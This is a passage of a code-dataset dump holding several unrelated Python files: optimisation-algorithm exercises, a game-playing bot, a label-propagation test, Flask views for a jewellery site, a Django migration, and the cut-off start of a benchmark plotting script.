ex1_obj_func(v):\n return abs(11 * v.count(1) - 150)\ndef ex1_ini_func(str_len):\n numlist = [random.randint(0,1) for i in range(str_len)]\n return numlist\ndef ex1_move_func(v):\n \"\"\" Generate possible solutions\n \"\"\"\n for i in range(len(v)):\n if v[i] == 0: \n v[i] = 1\n yield v\n v[i] = 0\n elif v[i] == 1:\n v[i] = 0\n yield v\n v[i] = 1\ndef init_hc_ex1(str_len, max_eva_num):\n \"\"\" (ini, obj, move, max_eva_num)\n \"\"\"\n return (\n lambda: ex1_ini_func(str_len), \n lambda v: ex1_obj_func(v), \n lambda v: ex1_move_func(v), \n max_eva_num)\n# For Simulated Annealing\ndef init_sa_ex1(str_len, s_tmp, e_tmp, cool_coef, it_limit, acp_limit):\n return (\n lambda: ex1_ini_func(str_len),\n lambda v: ex1_obj_func(v),\n lambda v: ex1_move_func(v), \n s_tmp, e_tmp, cool_coef, it_limit,\n lambda b,n,t: sa_ann_func(b,n,t, acp_limit) )\n# For Generic Algorithm\ndef ex1_ga_ini(str_len):\n return [ex1_ini_func(str_len) for i in range(4)]\ndef ex1_ga_cross(genes, fitness_func):\n # Get fitness state\n fit_vals = []\n for i in range(len(genes)):\n fit_vals.append(fitness_func(genes[i]))\n\n # Sort fitness state & genes\n for i in range(len(genes)):\n for j in range(len(genes)):\n if (fit_vals[j] > fit_vals[i]):\n fit_vals[i], fit_vals[j] = fit_vals[j], fit_vals[i]\n genes[i], genes[j] = genes[j], genes[i]\n\n # Select two genes to cross over\n x1 = genes[weighted_select(fit_vals)]\n x2 = genes[weighted_select(fit_vals)]\n cuts = random.randint(0, len(x1)-1)\n cute = random.randint(0, len(x1)-1)\n if cuts > cute:\n cuts, cute = cute, cuts\n x1[cuts:cute], x2[cuts:cute] = x2[cuts:cute], x1[cuts:cute]\n\n return genes\ndef ex1_ga_mutate(genes):\n is_mutated = False\n glen = len(genes[0])\n if random.uniform(0.0, 1.0) >= 0.9:\n is_mutated = True\n for i in range(1):\n genes[random.randint(0, len(genes)-1)][random.randint(0, glen-1)] = str(random.randint(0, 1))\n return genes, is_mutated\ndef init_ga_ex1(str_len, max_eva_num):\n return (\n lambda: ex1_ga_ini(str_len), \n lambda v: ex1_obj_func(v), \n lambda v1, v2: ex1_ga_cross(v1, v2), \n lambda v: ex1_ga_mutate(v),\n max_eva_num)\n\n\n\"\"\" ================== Exercise 2 ================== \n\"\"\"\n# For Hill Climb Algorithm\ndef ex2_obj_func(x1x2):\n # return (x1 * math.sin(4.0 * math.pi * x1)) + (x2 * math.sin(20.0 * math.pi * x2))\n x1 = x1x2[0]\n x2 = x1x2[1]\n return round(Decimal(21.5) + Decimal(x1 * math.sin(4.0 * math.pi * x1)) + Decimal(x2 * math.sin(20.0 * math.pi * x2)), 4)\ndef ex2_ini_func():\n x1 = random.uniform(-3.0, 12.1)\n x2 = random.uniform(4.1, 5.8)\n return (x1, x2)\ndef ex2_move_func(x1x2):\n # 0.0001 -0.0001 to x1 and x2\n x1 = x1x2[0]\n x2 = x1x2[1]\n for i in [0.0001, -0.0001, 0.0]:\n for j in [0.0001, -0.0001, 0.0]:\n if (i != 0.0 or j != 0.0):\n yield (x1+i, x2+j)\ndef init_hc_ex2(max_eva_num):\n \"\"\" (ini, obj, move, max_eva_num)\n \"\"\"\n return (\n lambda: ex2_ini_func(), \n lambda v: ex2_obj_func(v), \n lambda v: ex2_move_func(v), \n max_eva_num)\n# For Simulated Annealing\ndef init_sa_ex2(str_len, s_tmp, e_tmp, cool_coef, it_limit, acp_limit):\n return (\n lambda: ex2_ini_func(),\n lambda v: ex2_obj_func(v),\n lambda v: ex2_move_func(v), \n s_tmp, e_tmp, cool_coef, it_limit,\n lambda b,n,t: sa_ann_func(b,n,t, acp_limit) )\n# For Generic Algorithm\ndef ex2_ga_ini():\n rt = []\n for i in range(4):\n tmp = ex2_ini_func()\n rt.append( (vtog(round(tmp[0], 4)), vtog(round(tmp[1],4))) )\n return rt\ndef ex2_ga_fit(gene):\n x1x2 = (gtov(gene[0]), gtov(gene[1]))\n return ex2_obj_func(x1x2)\ndef ex2_ga_cross(genes, fitness_func):\n # Get fitness state\n fit_vals = []\n for i in range(len(genes)):\n fit_vals.append(fitness_func(genes[i]))\n\n # Sort fitness state & genes\n for i in range(len(genes)):\n for j in range(len(genes)):\n if (fit_vals[j] > fit_vals[i]):\n fit_vals[i], fit_vals[j] = fit_vals[j], fit_vals[i]\n genes[i], genes[j] = genes[j], genes[i]\n\n # Select two genes to cross over until the values are valid\n x1 = genes[weighted_select(fit_vals)]\n x2 = genes[weighted_select(fit_vals)]\n whichone = random.randint(0,1)\n\n x1_bak = (x1[0], x1[1])\n x2_bak = (x2[0], x2[1])\n\n tried_time = 0\n while (tried_time < 100):\n x1w = x1[whichone]\n x2w = x2[whichone]\n r_index = random.randint(1, len(x1w)-1)\n x1w[r_index], x2w[r_index] = x2w[r_index], x1w[r_index]\n\n x10v = gtov(x1[0])\n x11v = gtov(x1[1])\n x20v = gtov(x2[0])\n x21v = gtov(x2[1])\n\n if (x10v >= -3.000 and x10v <= 12.1000) and (x11v >= 4.1000 and x11v <= 5.8000) \\\n and (x20v >= -3.000 and x20v <= 12.1000) and \\\n (x21v >= 4.1000 and x21v <= 5.8000):\n break;\n\n tried_time += 1\n\n if tried_time >= 100:\n x1 = x1_bak\n x2 = x2_bak\n\n return genes\ndef ex2_ga_mutate(genes):\n is_mutated = False\n glen = len(genes[0])\n if random.uniform(0.0, 1.0) >= 0.9:\n is_mutated = True\n for i in range(1):\n genes[random.randint(0, len(genes)-1)][random.randint(0, 1)][random.randint(0, glen-1)] = str(random.randint(0, 1))\n return genes, is_mutated\ndef init_ga_ex2(max_eva_num):\n return (\n lambda: ex2_ga_ini(), \n lambda v: ex2_ga_fit(v), \n lambda v1, v2: ex2_ga_cross(v1, v2), \n lambda v: ex2_ga_mutate(v),\n max_eva_num)\n\n\"\"\" ================== Main ================== \n\"\"\"\nif __name__ == \"__main__\":\n print(\"Exercise 1\")\n # Hill Climbing\n args = init_hc_ex1(30, 100)\n hc_result1 = hill_climb(args[0], args[1], args[2], args[3])\n print(\"Best Score = {0}\".format(max(hc_result1)))\n plt.plot(hc_result1, 'r.')\n plt.ylabel(\"Score\")\n plt.xlabel(\"Generation\")\n for i in range(len(hc_result1)):\n plt.annotate(str(hc_result1[i]), xy=(i, hc_result1[i]))\n plt.savefig('EX1_HC.png')\n plt.clf()\n print(\"\")\n\n # SA\n args = init_sa_ex1(30, 5.0, 0.0, -0.1, 10, acp_limit=None)\n # def sim_anneal(init_func, obj_func, move_opt, s_tmp, e_tmp, cool_coef, it_limit, acp_func):\n sa_result1, bsf1 = sim_anneal(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7])\n print(\"Best Score = {0}\".format(max(sa_result1)))\n plt.plot(sa_result1, color='r')\n plt.plot(bsf1, color='b')\n plt.ylabel(\"Score\")\n plt.xlabel(\"Generation\")\n plt.savefig('EX1_SA.png')\n plt.clf()\n print(\"\")\n\n # GA\n args = init_ga_ex1(30, 2000)\n ga_result1, bsf1 = genetic_algorithm(args[0], args[1], args[2], args[3], args[4])\n print(\"Best Fitness = {0}\".format(max(bsf1)))\n plt.plot(ga_result1, color='r')\n plt.plot(bsf1, color='b')\n plt.ylabel(\"Fitness\")\n plt.xlabel(\"Generation\")\n plt.savefig('EX1_GA.png')\n plt.clf()\n print(\"\")\n\n print(\"################################\")\n print(\"################################\")\n print(\"\")\n\n print(\"Exercise 2\")\n # Hill Climbing\n data = init_hc_ex2(200)\n hc_result2 = hill_climb(data[0], data[1], data[2], data[3])\n print(\"Best Score = {0}\".format(max(hc_result2)))\n plt.plot(hc_result2, 'r.')\n plt.ylabel(\"Score\")\n plt.xlabel(\"Generation\")\n plt.savefig('EX2_HC.png')\n plt.clf()\n print(\"\")\n\n # SA\n args = init_sa_ex2(30, 50.0, 0.0, -0.1, 20, acp_limit=0.001)\n # def sim_anneal(init_func, obj_func, move_opt, s_tmp, e_tmp, cool_coef, it_limit, acp_func):\n sa_result2, bsf2 = sim_anneal(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7])\n print(\"Best Score = {0}\".format(max(sa_result2)))\n plt.plot(sa_result2, color='r')\n plt.plot(bsf2, color='b')\n plt.ylabel(\"Score\")\n plt.xlabel(\"Generation\")\n plt.savefig('EX2_SA.png')\n plt.clf() \n print(\"\")\n\n # GA\n args = init_ga_ex2(100)\n ga_result2, bsf2 = genetic_algorithm(args[0], args[1], args[2], args[3], args[4])\n print(\"Best Fitness = {0}\".format(max(bsf2)))\n plt.plot(ga_result2, color='r')\n plt.plot(bsf2, color='b')\n plt.ylabel(\"Fitness\")\n plt.xlabel(\"Generation\")\n plt.savefig('EX2_GA.png')\n plt.clf()\n print(\"\")\n\n\n\n\n","sub_path":"func_optimization.py","file_name":"func_optimization.py","file_ext":"py","file_size_in_byte":15091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"13154042","text":"import json\nimport sys\nfrom random import choice\nimport time\n\nfrom log import log\nimport map\n\n\ntimeout = 0.4\n\n\nbox = 'box'\nbomb = 'bomb'\nenemy = 'enemy'\nplace = 'place'\n\n\nup = 'up'\ndown = 'down'\nright = 'right'\nleft = 'left'\nstop = []\n\noffset_to_direction = {\n (-1, 0): left,\n (1, 0): right,\n (0, -1): up,\n (0, 1): down\n}\n\n\ndef move_to(src, dst):\n dx = dst[0] - src[0]\n dy = dst[1] - src[1]\n return offset_to_direction.get((dx, dy))\n\n\nclass Player(object):\n def __init__(self, team_id, player_id, map):\n self.team_id = team_id\n self.player_id = player_id\n self.map = map\n\n self.boost_remain = 0\n self.boost_renew = 0\n self.x = 0\n self.y = 0\n self.cur = 0, 0\n self.last_want = 0, 0\n self.is_alive = False\n self.is_boost = False\n\n self.target = None\n self.path = None\n\n def update(self, boost_remain, boost_renew, x, y):\n self.boost_remain = boost_remain\n self.boost_renew = boost_renew\n self.x = x\n self.y = y\n self.cur = x, y\n self.is_alive = True\n self.is_boost = self.boost_remain or not self.boost_renew\n\n def _action(self, start_boost=False, move=(), bomb_before=False, bomb_after=False):\n return {\n 'team': self.team_id,\n 'player_id': self.player_id,\n 'start_boost': start_boost,\n 'plant_bomb_before_move': bomb_before,\n 'move': list(move),\n 'plant_bomb_after_success_move': bomb_after\n }\n\n def find_path(self):\n target, path = self.map.find_box_path(self.cur)\n\n if not target:\n log.debug('find no box')\n target, path = self.map.find_enemy_path(self.cur)\n\n if not target:\n log.debug('find no enemy')\n target, path = self.map.find_safe_path(self.cur)\n\n if not target:\n log.debug('find no safe place')\n return None, None\n\n log.debug('target: %s, path: %s' % (target, path))\n\n return target, path\n\n def strategy(self, players):\n bomb_before = False\n bomb_after = False\n move = []\n\n self.map.update_boost(self.boost_remain, self.boost_renew)\n\n if not self.target or (self.cur != self.last_want):\n self.target, self.path = self.find_path()\n\n if not self.target:\n self.map.add_player(self.cur)\n return bomb_before, move, bomb_after\n\n if not self.path: # has reached target\n if self.map.need_bomb(self.cur):\n # self.map.add_bomb(self.cur, 3)\n bomb_before = True\n # if self.target == self.cur: # do not need move\n # return bomb_before, move, bomb_after\n self.target, self.path = self.find_path()\n if not self.target:\n self.map.add_player(self.cur)\n return bomb_before, move, bomb_after\n\n if self.path: # walk to target\n first = self.path[0]\n if self.map.is_safe(first, 1):\n move.append(move_to(self.cur, first))\n self.last_want = first\n self.path.pop(0)\n if self.path and self.is_boost:\n second = self.path[0]\n if self.map.is_safe(second, 2):\n move.append(move_to(first, second))\n self.last_want = second\n self.path.pop(0)\n if self.map.need_bomb(self.last_want, True):\n # self.map.add_bomb(self.last_want, 3)\n bomb_after = True\n else:\n self.target, self.path = self.find_path()\n if not self.target:\n self.map.add_player(self.cur)\n return bomb_before, move, bomb_after\n log.warning('decide strategy again')\n return self.strategy(players)\n\n return bomb_before, move, bomb_after\n\n def find_target_and_move(self, graph, players):\n bomb_before = False\n bomb_after = False\n move = []\n is_boost = self.boost_remain or not self.boost_renew\n\n p = graph.safe_place(self.cur, is_boost)\n if p is not None and p != self.cur:\n path_len, path = graph.shortest_path(self.cur, p)\n log.debug('path_len: %s, path: %s' % (path_len, path))\n if path_len in (2, 3):\n move.append(move_to(self.cur, path[1]))\n self.last_want = path[1]\n if path_len == 3 and (self.boost_remain or not self.boost_renew):\n move.append(move_to(path[1], path[2]))\n self.last_want = path[2]\n self.target, self.path = None, None\n graph.add_player(self.last_want)\n log.debug('hide succeed')\n return True, (bomb_before, move, bomb_after)\n else:\n log.error('hide error')\n\n if not self.target or (self.cur != self.last_want):\n self.target, self.path = graph.find_target_and_path(self.cur)\n if not self.target: # should not occur\n log.error('find_target_and_path error')\n graph.add_player(self.cur)\n return False, (None, None, None)\n\n log.debug('find_target_and_path: %s' % [self.cur, self.target, self.path])\n\n if not self.path: # has reached target\n if graph.need_bomb(self.cur):\n ps = graph.hide_places(self.cur)\n if ps:\n log.debug('ps: %s' % ps)\n for u in ps:\n path_len, path = graph.shortest_path(self.cur, u)\n log.debug('path_len: %s, path: %s' % (path_len, path))\n path_len -= 2\n if 0 <= path_len <= 2:\n if graph.is_safe(path[1]):\n move.append(move_to(self.cur, path[1]))\n self.last_want = path[1]\n if path_len == 2 and (self.boost_remain or not self.boost_renew):\n # if graph.is_safe(path[2], first=False):\n if graph.is_safe(path[2]):\n move.append(move_to(path[1], path[2]))\n self.last_want = path[2]\n if 1 <= path_len <= 2 and graph.is_safe(self.last_want, next_bomb=self.cur):\n if graph.is_safe_for_others(self.cur, players):\n log.debug('place_before_bomb: %s' % str(self.cur))\n graph.place_bomb(self.cur, 3)\n bomb_before = True\n # if 1 <= path_len <= 2 and graph.is_safe(self.last_want, next_bomb=self.last_want):\n # if graph.is_safe_for_others(self.last_want, players):\n # if graph.need_bomb(self.last_want):\n # log.debug('place_before_bomb: %s' % str(self.last_want))\n # graph.place_bomb(self.last_want, 3)\n # bomb_after = True\n self.target, self.path = None, None\n graph.add_player(self.last_want)\n return True, (bomb_before, move, bomb_after)\n if path_len == 2 and (self.boost_remain or not self.boost_renew) and graph.is_safe(path[2]):\n move.append(move_to(self.cur, path[1]))\n move.append(move_to(path[1], path[2]))\n self.last_want = path[2]\n self.target, self.path = None, None\n graph.add_player(self.last_want)\n return True, (bomb_before, move, bomb_after)\n\n log.error('find_target_and_path error')\n else:\n log.error('find_target_and_path error')\n else:\n self.target, self.path = None, None\n log.error('find_target_and_path warning')\n\n ps = graph.hide_places(self.cur)\n if ps:\n log.debug('ps: %s' % ps)\n for u in ps:\n path_len, path = graph.shortest_path(self.cur, u)\n log.debug('path_len: %s, path: %s' % (path_len, path))\n path_len -= 2\n if 0 <= path_len <= 2:\n if graph.is_safe(path[1]):\n move.append(move_to(self.cur, path[1]))\n self.last_want = path[1]\n if path_len == 2 and (self.boost_remain or not self.boost_renew):\n if graph.is_safe(path[2], first=False):\n move.append(move_to(path[1], path[2]))\n self.last_want = path[2]\n self.target, self.path = None, None\n graph.add_player(self.last_want)\n return True, (bomb_before, move, bomb_after)\n\n log.error('find_target_and_path error')\n graph.add_player(self.cur)\n return False, (None, None, None)\n\n log.debug('find_target_and_path: %s' % [self.cur, self.path])\n first = self.path[0]\n if graph.is_safe(first):\n move.append(move_to(self.cur, first))\n self.last_want = first\n log.debug('move: %s' % move)\n self.path.pop(0)\n if self.path and (self.boost_remain or not self.boost_renew):\n second = self.path[0]\n if graph.is_safe(second, False):\n move.append(move_to(first, second))\n self.last_want = second\n self.path.pop(0)\n else:\n log.error('find_target_and_path warning')\n else:\n ps = graph.hide_places(self.cur)\n if ps:\n for u in ps:\n path_len, path = graph.shortest_path(self.cur, u)\n path_len -= 2\n if 0 <= path_len <= 2:\n if graph.is_safe(path[1]):\n move.append(move_to(self.cur, path[1]))\n self.last_want = path[1]\n if path_len == 2 and (self.boost_remain or not self.boost_renew):\n if graph.is_safe(path[2]):\n move.append(move_to(path[1], path[2]))\n self.last_want = path[2]\n self.target, self.path = None, None\n graph.add_player(self.last_want)\n return True, (bomb_before, move, bomb_after)\n log.error('find_target_and_path error')\n graph.add_player(self.last_want)\n return True, (bomb_before, move, bomb_after)\n\n def action(self, players):\n if not self.is_alive:\n log.debug('player dead')\n return self._action()\n self.is_alive = False\n\n log.debug('--------------- player_id: %s ---------------' % self.player_id)\n\n bomb_before, move, bomb_after = self.strategy(players)\n\n start_boost = False\n if len(move) == 2 and (not self.boost_remain and not self.boost_renew):\n start_boost = True\n\n log.debug('start_boost: %s, bomb_before: %s, move: %s, bomb_after: %s'\n % (start_boost, bomb_before, move, bomb_after))\n return self._action(start_boost, move, bomb_before, bomb_after)\n\n\nclass Map(object):\n def __init__(self, msg, team_id):\n msg_map = msg['msg_data']['map']\n self.width = msg_map['width']\n self.height = msg_map['height']\n\n self.walls = msg_map['walls']\n self.boxes = msg_map['boxes']\n\n self.team_id = team_id\n\n self.map = map.Map(self.width, self.height)\n for wall in self.walls:\n self.map.add_wall((wall['x'], wall['y']))\n\n for box in self.boxes:\n self.map.add_box((box['x'], box['y']))\n\n self.teams = msg['msg_data']['teams']\n\n self.round_id = 0\n self.bombs = []\n self.players = {}\n self.enemies = {}\n\n for team in self.teams:\n guys = {pid: Player(team['id'], pid, self.map) for pid in team['players']}\n if team['id'] == team_id:\n self.players = guys\n else:\n self.enemies = guys\n\n log.debug('players: %s' % self.players)\n log.debug('enemies: %s' % self.enemies)\n\n def update(self, msg):\n msg_data = msg['msg_data']\n self.round_id = msg_data['round_id']\n self.bombs = msg_data['bombs']\n self.boxes = msg_data['boxes']\n self.teams = msg_data['teams']\n\n for p in msg_data['players']:\n pid = p['id']\n args = p['boost_remain'], p['boost_renew'], p['x'], p['y']\n if pid in self.players:\n self.players[pid].update(*args)\n elif pid in self.enemies:\n self.enemies[pid].update(*args)\n\n self.map.reset()\n\n for bomb in self.bombs:\n self.map.add_bomb((bomb['x'], bomb['y']), bomb['countdown'])\n for box in self.boxes:\n self.map.add_box((box['x'], box['y']))\n\n self.map.update()\n\n def actions(self):\n for e in self.enemies.values():\n self.map.add_enemy(e.cur)\n\n players_actions = []\n log.debug('map actions begin, round id: %s' % self.round_id)\n players_has_action = []\n for p in self.players.values():\n players_actions.append(p.action([q for q in self.players.values() if q != p]))\n players_has_action.append(p)\n log.debug('map actions end')\n return players_actions\n\n\nclass Leg(object):\n def __init__(self, team_id, send):\n self.team_id = team_id\n self.send = send\n self.map = None\n self.teams = [] # list of mapping of team id and points\n\n def start(self, msg):\n self.map = Map(msg, self.team_id)\n return self.map.players, self.map.enemies\n\n def round(self, msg):\n self.map.update(msg)\n\n def action(self):\n actions = self.map.actions()\n\n self.send(json.dumps({\n 'msg_name': 'action',\n 'msg_data': {\n 'round_id': self.map.round_id,\n 'actions': actions\n }\n }))\n\n def end(self, msg):\n self.teams = msg['msg_data']\n\n\nclass Game(object):\n def __init__(self, team_id, team_name):\n self.team_id = team_id\n self.team_name = team_name\n\n self.legs = []\n self.leg = None # current leg\n\n self.players = []\n self.enemies = []\n\n self.send = None\n\n def set_send(self, send):\n self.send = send\n log.debug('set_send: %s' % self.send)\n\n def reg(self):\n self.send(json.dumps({\n 'msg_name': 'registration',\n 'msg_data': {\n 'team_id': self.team_id,\n 'team_name': self.team_name\n }\n }))\n\n def leg_start(self, msg):\n leg = Leg(self.team_id, self.send)\n self.players, self.enemies = leg.start(msg)\n self.leg = leg\n self.legs.append(leg)\n\n def leg_round(self, msg):\n self.leg.round(msg)\n self.leg_action()\n\n def leg_action(self):\n self.leg.action()\n\n def leg_end(self, msg):\n self.leg.end(msg)\n\n def game_over(self, msg):\n log.info('---------- game over ----------')\n sys.exit()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":16052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"331806854","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport scipy.sparse\n\nfrom patchwork._labelprop import _get_weighted_adjacency_matrix, _propagate_labels\nimport patchwork as pw\n\ndef test_get_weighted_adjacency_matrix():\n N = 100\n d = 10\n\n features = np.random.normal(0, 1, (N,d)).astype(np.float32)\n features = tf.nn.l2_normalize(features, 1).numpy()\n \n W_norm = _get_weighted_adjacency_matrix(features, n_neighbors=5)\n assert isinstance(W_norm, scipy.sparse.csr.csr_matrix)\n assert W_norm.shape == (N,N)\n assert round(W_norm.min(),2) == 0\n assert round(W_norm.max(),2) <= 1\n\ndef test_propagate_labels():\n # build out some random data\n N = 100\n d = 10\n features = np.random.normal(0, 1, (N,d)).astype(np.float32)\n features = tf.nn.l2_normalize(features, 1).numpy()\n classes = [\"foo\", \"bar\"]\n filepaths = [f\"{i}.jpg\" for i in range(N)]\n df = pw.prep_label_dataframe(filepaths, classes)\n for i in range(10):\n df.loc[i, \"foo\"] = np.random.choice([0,1])\n df.loc[i, \"bar\"] = np.random.choice([0,1])\n df.loc[i, \"validation\"] = np.random.choice([True, False])\n \n W_norm = _get_weighted_adjacency_matrix(features, n_neighbors=5)\n pred_df = _propagate_labels(df, W_norm)\n \n assert isinstance(pred_df, pd.DataFrame)\n assert len(pred_df) == N\n assert \"foo\" in pred_df.columns\n assert \"bar\" in pred_df.columns\n \n\n","sub_path":"patchwork/tests/test_propagate_labels.py","file_name":"test_propagate_labels.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"207931236","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom flask import render_template, session, redirect, url_for, flash, request, jsonify\nfrom flask.ext.login import login_required, login_user, logout_user, current_user\nfrom flask.ext.mail import Message\nfrom sqlalchemy import or_, and_\nfrom . import main\nfrom .utils import send_contact_email\nfrom apps import db, mail\nfrom apps.main.models import Item, Customer, Category\nfrom apps.main.forms import ContactForm\nimport re\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n items = Item.get_latest_items(6)\n return render_template('index.html', items=items)\n\n@main.route('gallery', methods=['GET', 'POST'])\ndef gallery():\n page_num = 1\n selected_category = 'all'\n items = Item.query.order_by(Item.id.desc()).paginate(page_num, 4)\n return render_template('gallery.html', items=items, selected_category=selected_category)\n\n@main.route('gallery/update', methods=['GET', 'POST'])\ndef update_gallery():\n page_num = int(request.args.get('page_num'))\n selected_category = request.args.get('category_id')\n if selected_category == 'all':\n items = Item.query.order_by(Item.id.desc()).paginate(page_num, 4)\n else:\n items = Item.query.filter_by(category_id=selected_category).order_by(Item.id.desc()).paginate(page_num, 4)\n\n return render_template('gallery-wrapper.html', selected_category=selected_category, items=items)\n\n@main.route('about')\ndef about():\n return render_template('about.html')\n\n@main.route('contact', methods=['GET', 'POST'])\ndef contact():\n contact_form = ContactForm()\n\n if request.method == 'POST':\n if contact_form.validate_on_submit():\n send_contact_email(contact_form)\n else:\n flash(u\"لطفا تمام فیلد های اجباری را وارد نمایید\")\n\n return render_template('contact.html', contact_form=contact_form)\n\n@main.route('item/')\ndef view(item_id):\n item = Item.query.filter_by(id=item_id).first()\n categories = Category.query.all()\n related_items = Item.query.filter(or_(Item.category_id==item.category_id),\n (Item.type_of_diamonds==item.type_of_diamonds)).limit(15)\n\n return render_template('item.html', item=item, categories=categories, related_items=related_items)\n\n@main.route('category/')\ndef view_category(category_id):\n selected_category = Category.query.filter_by(id=category_id).first()\n items = Item.query.filter_by(category_id=category_id).order_by(Item.id.desc()).limit(4)\n return render_template('category.html', selected_category=selected_category, items=items)\n\n@main.route('category/update', methods=['GET', 'POST'])\ndef update_category():\n page_num = request.args.get('per_page')\n selected_id = request.args.get('selected_category')\n selected_category = Category.query.filter_by(id=selected_id).first()\n items = Item.query.filter_by(category_id=selected_id).order_by(Item.id.desc()).limit(page_num)\n\n return render_template('category-wrapper.html', items=items, selected_category=selected_category)\n\n\n@main.route('help')\ndef help():\n return render_template('help.html')\n\n@main.route('subscription', methods=['GET', 'POST'])\ndef subscription():\n phone = request.form.get('phone')\n phone_exists = Customer.query.filter_by(phone=phone).first()\n\n if not phone_exists and re.match('^[+,0]?\\d{10,13}$', phone):\n customer = Customer(phone=request.form.get('phone'))\n db.session.add(customer)\n db.session.commit()\n return redirect(url_for('main.index'))\n\n@main.route('search', methods=['GET', 'POST'])\ndef search():\n term = request.form.get('term')\n results = Item.query.filter(or_(Item.name.like(\"%{0}%\".format(term)),\n (Item.description.like(\"%{0}%\".format(term))),\n (Item.type_of_metal.like(\"%{0}%\".format(term))),\n (Item.type_of_diamonds.like(\"%{0}%\".format(term))))).limit(10)\n return render_template('results.html', results=results, term=term)\n","sub_path":"apps/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"463943609","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('evaluation', '0002_auto_20141119_1551'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='question',\n name='total_count',\n ),\n ]\n","sub_path":"rice_course_manager/evaluation/migrations/0003_remove_question_total_count.py","file_name":"0003_remove_question_total_count.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307242679","text":"# Copyright (c) 2018, Regents of the University of California\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nfrom mx_mg_conf import *\nfrom mx_mg_pages import *\n\nfrom argparse import ArgumentParser\nfrom argparse import RawTextHelpFormatter\nimport os\nfrom os.path import join, exists\nimport platform\nimport json\nimport mx\nimport math\nimport re\nimport datetime\nimport copy\nfrom mx_zippy_bench_param import benchmarks_list\n\n\nimporterror = False\ntry:\n import matplotlib\n matplotlib.use('Agg')\n import matplotlib.pyplot as plt\n import matplotlib.ticker as ticker\n from scipy import stats\n import numpy as np\n from functools import reduce\nexcept:\n # raise\n importerror = True\n\ndebug = False\n\nif not importerror:\n geomean = lambda s: reduce(lambda x,y: x*y, s) ** (1.0 / len(s))\n\n\nsigned_date = ''\ninterpreters_versions = {}\nbenchmarks_images = {}\nbenchmarks_stats_each = {}\nbenchmarks_stats_types = {}\nbenchmarks_stats_overall = {}\n\n\ndef add_steps_geomean(_type, benchmarks, all_benchmarks_list):\n r_benchmarks = {}\n for _interp in benchmarks:\n if _interp not in r_benchmarks:\n r_benchmarks[_interp] = []\n for _bench in sorted(all_benchmarks_list):\n # print('type: '+ _type + ' bench: ' + _bench)\n _largest_parm = benchmarks_list[_type][1][_bench][-2]\n _time_steps = benchmarks[_interp][_bench][_largest_parm][0]\n _step_count = len(_time_steps)\n if len(r_benchmarks[_interp]) == 0:\n r_benchmarks[_interp] = [[] for i in range(_step_count)]\n for _step in range(_step_count):\n r_benchmarks[_interp][_step] += [_time_steps[_step]]\n\n # geomean\n geomean_str = 'GeoMean'\n r_benchmarks[_interp] = [geomean(r_benchmarks[_interp][_step]) for _step in range(len(r_benchmarks[_interp]))]\n benchmarks[_interp][geomean_str] = { geomean_str : [None] }\n benchmarks[_interp][geomean_str][geomean_str][0] = r_benchmarks[_interp]\n all_benchmarks_list[geomean_str] = [geomean_str]\n\ndef custom_normalization_step(_type, benchmarks, interpreter_list):\n # XXX: err_bar hasn't been normalized\n _timing = \"Steps\"\n r_benchmarks_normalized = copy.deepcopy(benchmarks[_type][_timing])\n r_param_max = {}\n r_param_yaxis = {}\n # p = 5\n for _interp_w_name in range(len(interpreter_list)):\n _interp = interpreter_list[_interp_w_name][0]\n if _interp not in r_benchmarks_normalized:\n continue\n\n for _bench in r_benchmarks_normalized[_interp]:\n if _bench not in r_param_max:\n r_param_max[_bench] = {}\n for _param in r_benchmarks_normalized[_interp][_bench]:\n if _param not in r_param_max[_bench]:\n r_param_max[_bench][_param] = 0.\n r_param_max[_bench][_param] = max(r_param_max[_bench][_param], max(r_benchmarks_normalized[_interp][_bench][_param][0]))\n\n\n for _bench in r_param_max:\n if _bench not in r_param_yaxis:\n r_param_yaxis[_bench] = {}\n\n for _param in r_param_max[_bench]:\n m = r_param_max[_bench][_param]\n r = yaxis_scale_range['5']\n for i in 